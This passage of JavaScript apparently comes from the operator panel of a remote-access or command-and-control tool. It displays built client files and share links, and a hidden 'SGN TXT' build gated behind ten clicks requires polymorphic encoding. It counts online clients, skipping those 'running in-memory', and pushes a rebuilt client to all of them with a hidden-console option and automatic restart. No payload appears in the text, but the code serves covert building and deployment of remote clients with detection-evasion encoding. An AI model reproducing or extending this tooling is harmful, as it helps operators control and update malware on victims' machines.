  header.className = "flex items-center gap-2 text-sm font-medium text-emerald-300";
  header.innerHTML =
    '<i class="fa-solid fa-cloud-arrow-up"></i><span>Uploaded to File Share</span>' +
    `<span class="text-xs text-slate-400 font-normal">(${items.length})</span>`;
  panel.appendChild(header);

  for (const item of items) {
    const url = `${window.location.origin}/api/file-share/${item.id}/download`;

    const row = document.createElement("div");
    row.className = "flex items-center gap-2 text-xs";

    const label = document.createElement("span");
    label.className = "text-slate-400 shrink-0";
    label.textContent = item.platform || item.filename;

    const input = document.createElement("input");
    input.type = "text";
    input.readOnly = true;
    input.value = url;
    input.className =
      "flex-1 bg-slate-900 border border-slate-700 rounded px-2 py-1 text-slate-200 font-mono select-all";
    input.addEventListener("focus", () => input.select());

    const copyBtn = document.createElement("button");
    copyBtn.type = "button";
    copyBtn.className =
      "px-2 py-1 rounded bg-emerald-700 hover:bg-emerald-600 text-white text-xs flex items-center gap-1 shrink-0";
    copyBtn.innerHTML = '<i class="fa-solid fa-copy"></i><span>Copy</span>';
    copyBtn.addEventListener("click", async () => {
      try {
        await navigator.clipboard.writeText(url);
        copyBtn.innerHTML = '<i class="fa-solid fa-check"></i><span>Copied</span>';
        if (window.showToast) window.showToast("Download link copied to clipboard", "success");
        setTimeout(() => {
          copyBtn.innerHTML = '<i class="fa-solid fa-copy"></i><span>Copy</span>';
        }, 1500);
      } catch {
        input.select();
        document.execCommand?.("copy");
      }
    });

    row.appendChild(label);
    row.appendChild(input);
    row.appendChild(copyBtn);
    panel.appendChild(row);
  }

  buildFilesDiv.appendChild(panel);
}

function showBuildFiles(files, buildId, expiresAt) {
  revealBuildResults();
  buildFilesDiv.innerHTML = "";

  const buildInfoDiv = document.createElement("div");
  buildInfoDiv.className =
    "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg";
  const infoRow = document.createElement("div");
  infoRow.className = "flex items-center justify-between gap-2 text-sm";
  const left = document.createElement("div");
  left.className = "flex items-center gap-2";
  const idIcon = document.createElement("i");
  idIcon.className = "fa-solid fa-fingerprint text-slate-400";
  const idLabel = document.createElement("span");
  idLabel.className = "text-slate-300";
  idLabel.textContent = "Build ID:";
  const idCode = document.createElement("code");
  idCode.className = "text-blue-400 font-mono";
  idCode.textContent = buildId;
  left.appendChild(idIcon);
  left.appendChild(idLabel);
  left.appendChild(idCode);

  const right = document.createElement("div");
  right.className = "flex items-center gap-2";
  const clockIcon = document.createElement("i");
  clockIcon.className = "fa-solid fa-clock text-slate-400";
  const expiresLabel = document.createElement("span");
  expiresLabel.className = "text-slate-300";
  expiresLabel.textContent = "Expires in:";
  const timer = document.createElement("span");
  timer.id = "expiration-timer";
  timer.className = "text-yellow-400 font-medium";
  timer.dataset.controller = "countdown";
  timer.dataset.countdownExpiresAtValue = String(expiresAt);
  timer.textContent = "Calculating...";
  right.appendChild(clockIcon);
  right.appendChild(expiresLabel);
  right.appendChild(timer);

  infoRow.appendChild(left);
  infoRow.appendChild(right);
  buildInfoDiv.appendChild(infoRow);
  buildFilesDiv.appendChild(buildInfoDiv);

  files.forEach((file) => {
    const fileDiv = document.createElement("div");
    fileDiv.className =
      "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";

    const fileInfo = document.createElement("div");
    fileInfo.className = "flex items-center gap-2";
    const fileIcon = document.createElement("i");
    fileIcon.className = "fa-solid fa-file-code text-blue-400";
    const fileName = document.createElement("span");
    fileName.className = "font-medium";
    fileName.textContent = file.name;
    const fileSize = document.createElement("span");
    fileSize.className = "text-xs text-slate-500";
    fileSize.textContent = formatFileSize(file.size);
    fileInfo.appendChild(fileIcon);
    fileInfo.appendChild(fileName);
    fileInfo.appendChild(fileSize);

    const downloadBtn = document.createElement("a");
    downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`;
    downloadBtn.download = "";
    downloadBtn.className =
      "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors";
    downloadBtn.innerHTML = '<i class="fa-solid fa-download"></i> Download';

    fileDiv.appendChild(fileInfo);
    fileDiv.appendChild(downloadBtn);
    buildFilesDiv.appendChild(fileDiv);
  });
}

const buildUpdateAllBtn = document.getElementById("build-update-all-btn");
const updateAllModal = document.getElementById("update-all-modal");
const updateAllModalBody = document.getElementById("update-all-modal-body");
const updateAllCancel = document.getElementById("update-all-cancel");
const updateAllConfirm = document.getElementById("update-all-confirm");

let pendingUpdateAll = false;
let pendingUpdateHideWindow = false;
let pendingUpload = false;
const buildUploadBtn = document.getElementById("build-upload-btn");
let pendingSgnTxtBuild = false;
const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn");
const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox");
const SGN_TXT_UNLOCK_CLICKS = 10;
let sgnTxtUnlockClicks = 0;
let sgnTxtUnlocked = false;

function getSgnTxtUnlockStorageKey() {
  const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown";
  return `overlord_sgn_txt_unlocked:${userPart}`;
}

function loadSgnTxtUnlockState() {
  try {
    if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") {
      sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS;
      sgnTxtUnlocked = true;
    }
  } catch {}
  updateSgnTxtLockState();
}

function saveSgnTxtUnlockState() {
  try {
    localStorage.setItem(getSgnTxtUnlockStorageKey(), "true");
  } catch {}
}

function setSgnTxtButtonState(label, iconClass) {
  if (!buildSgnTxtBtn) return;
  buildSgnTxtBtn.innerHTML = "";
  const icon = document.createElement("i");
  icon.className = iconClass;
  const text = document.createElement("span");
  text.textContent = label;
  buildSgnTxtBtn.appendChild(icon);
  buildSgnTxtBtn.appendChild(text);
}

function pulseSgnTxtLockbox() {
  if (!buildSgnTxtLockbox) return;
  buildSgnTxtLockbox.classList.remove("pulse");
  void buildSgnTxtLockbox.offsetWidth;
  buildSgnTxtLockbox.classList.add("pulse");
}

function updateSgnTxtLockState() {
  if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return;
  const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS));
  const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start)));
  const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18);
  const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72));
  const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95));
  buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28)));
  buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42)));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress))));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress)));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress)));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95));
  buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress)));
  buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`);
  buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked);
  buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked);
  if (sgnTxtUnlocked) {
    setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
    return;
  }
  setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
}

updateSgnTxtLockState();

function showUpdateAllModal() {
  if (!updateAllModal) return;
  updateAllModal.classList.remove("hidden");
  updateAllModal.classList.add("flex");
}

function hideUpdateAllModal() {
  if (!updateAllModal) return;
  updateAllModal.classList.remove("flex");
  updateAllModal.classList.add("hidden");
  if (updateAllConfirm) {
    updateAllConfirm.innerHTML = '<i class="fa-solid fa-hammer mr-1"></i> Build & Update';
    updateAllConfirm.disabled = false;
  }
  if (updateAllCancel) {
    updateAllCancel.textContent = "Cancel";
  }
}

if (updateAllCancel) {
  updateAllCancel.addEventListener("click", hideUpdateAllModal);
}

if (updateAllModal) {
  updateAllModal.addEventListener("click", (e) => {
    if (e.target === updateAllModal) hideUpdateAllModal();
  });
}

if (buildUpdateAllBtn) {
  buildUpdateAllBtn.addEventListener("click", async () => {
    if (isBuilding) return;

    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
    const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
    if (platforms.length === 0) {
      alert("Please select at least one platform to build");
      return;
    }

    showUpdateAllModal();
    updateAllConfirm.disabled = true;
    updateAllModalBody.innerHTML = '<p class="text-slate-400"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Checking online clients...</p>';

    try {
      const res = await fetch("/api/build/update-eligible", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include",
        body: JSON.stringify({ platforms }),
      });

      if (!res.ok) {
        const data = await res.json().catch(() => ({}));
        updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>${escapeHtml(data.error || "Failed to check eligible clients")}</p>`;
        return;
      }

      const data = await res.json();
      const eligible = Math.max(0, Math.trunc(Number(data.eligible) || 0));
      const totalOnline = Math.max(0, Math.trunc(Number(data.totalOnline) || 0));
      const skippedInMemory = Math.max(0, Math.trunc(Number(data.skippedInMemory) || 0));
      const skippedNoMatch = Math.max(0, Math.trunc(Number(data.skippedNoMatch) || 0));
      let html = "";

      html += `<p class="text-white"><i class="fa-solid fa-users mr-2 text-amber-400"></i><strong>${eligible}</strong> client(s) will receive the update after build.</p>`;
      html += '<div class="mt-2 text-xs text-slate-400 space-y-1">';
      html += `<p><i class="fa-solid fa-globe mr-1 text-blue-400"></i> ${totalOnline} total online client(s)</p>`;
      if (skippedInMemory > 0) {
        html += `<p><i class="fa-solid fa-memory mr-1 text-red-400"></i> ${skippedInMemory} client(s) will be skipped (running in-memory)</p>`;
      }
      if (skippedNoMatch > 0) {
        html += `<p><i class="fa-solid fa-ban mr-1 text-slate-500"></i> ${skippedNoMatch} client(s) will be skipped (no matching platform)</p>`;
      }
      html += "</div>";

      if (eligible === 0 && totalOnline === 0) {
        html += '<p class="mt-3 text-xs text-slate-500">No clients are currently online. The build will still run but no updates will be sent.</p>';
      }

      html += '<p class="mt-3 text-xs text-amber-300/80"><i class="fa-solid fa-triangle-exclamation mr-1"></i>This will build the client and push the update to all eligible clients. Clients will restart automatically.</p>';
      updateAllConfirm.disabled = false;

      updateAllModalBody.innerHTML = html;
    } catch (err) {
      const message = err instanceof Error ? err.message : String(err || "Unknown error");
      updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>Error: ${escapeHtml(message)}</p>`;
    }
  });
}

if (updateAllConfirm) {
  updateAllConfirm.addEventListener("click", () => {
    hideUpdateAllModal();
    pendingUpdateAll = true;
    pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked;
    form.requestSubmit();
  });
}

if (buildUploadBtn) {
  buildUploadBtn.addEventListener("click", () => {
    if (isBuilding) return;
    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
    if (platformCheckboxes.length === 0) {
      alert("Please select at least one platform to build");
      return;
    }
    pendingUpload = true;
    form.requestSubmit();
  });
}

if (buildSgnTxtBtn) {
  buildSgnTxtBtn.addEventListener("click", () => {
    if (isBuilding) return;
    const sgnEnabled = document.getElementById("sgn-mode")?.checked || false;
    if (!sgnTxtUnlocked) {
      sgnTxtUnlockClicks += 1;
      if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) {
        sgnTxtUnlocked = true;
        saveSgnTxtUnlockState();
        updateSgnTxtLockState();
        if (window.showToast) window.showToast("SGN TXT build unlocked", "success");
      } else {
        updateSgnTxtLockState();
      }
      pulseSgnTxtLockbox();
      return;
    }
    if (!sgnEnabled) {
      alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file.");
      return;
    }
    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
    if (platformCheckboxes.length === 0) {
      alert("Please select at least one platform to build");
      return;
    }
    pendingSgnTxtBuild = true;
    form.requestSubmit();
  });
}

async function pushUpdateToAllClients(buildId, hideWindow) {
  addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");

  try {
    const res = await fetch("/api/build/update-all", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      credentials: "include",
      body: JSON.stringify({ buildId, hideWindow }),
    });

    const data = await res.json().catch(() => ({}));

    if (!res.ok) {
      addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error");
      return;
    }

    const succeeded = data.successCount || 0;
    const total = data.totalOnline || 0;
    const failed = (data.results || []).filter((r) => !r.ok);
    const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length;
    const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length;

    addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success");
    if (inMemoryCount > 0) {
      addBuildOutput(`  ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn");
    }
    if (noMatchCount > 0) {
      addBuildOutput(`  ${noMatchCount} client(s) skipped (no matching build)\n`, "warn");
    }
    const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build");
    if (otherFailed.length > 0) {
      addBuildOutput(`  ${otherFailed.length} client(s) failed for other reasons\n`, "warn");
    }
  } catch (err) {
    addBuildOutput(`Update error: ${err.message}\n`, "error");
  }
}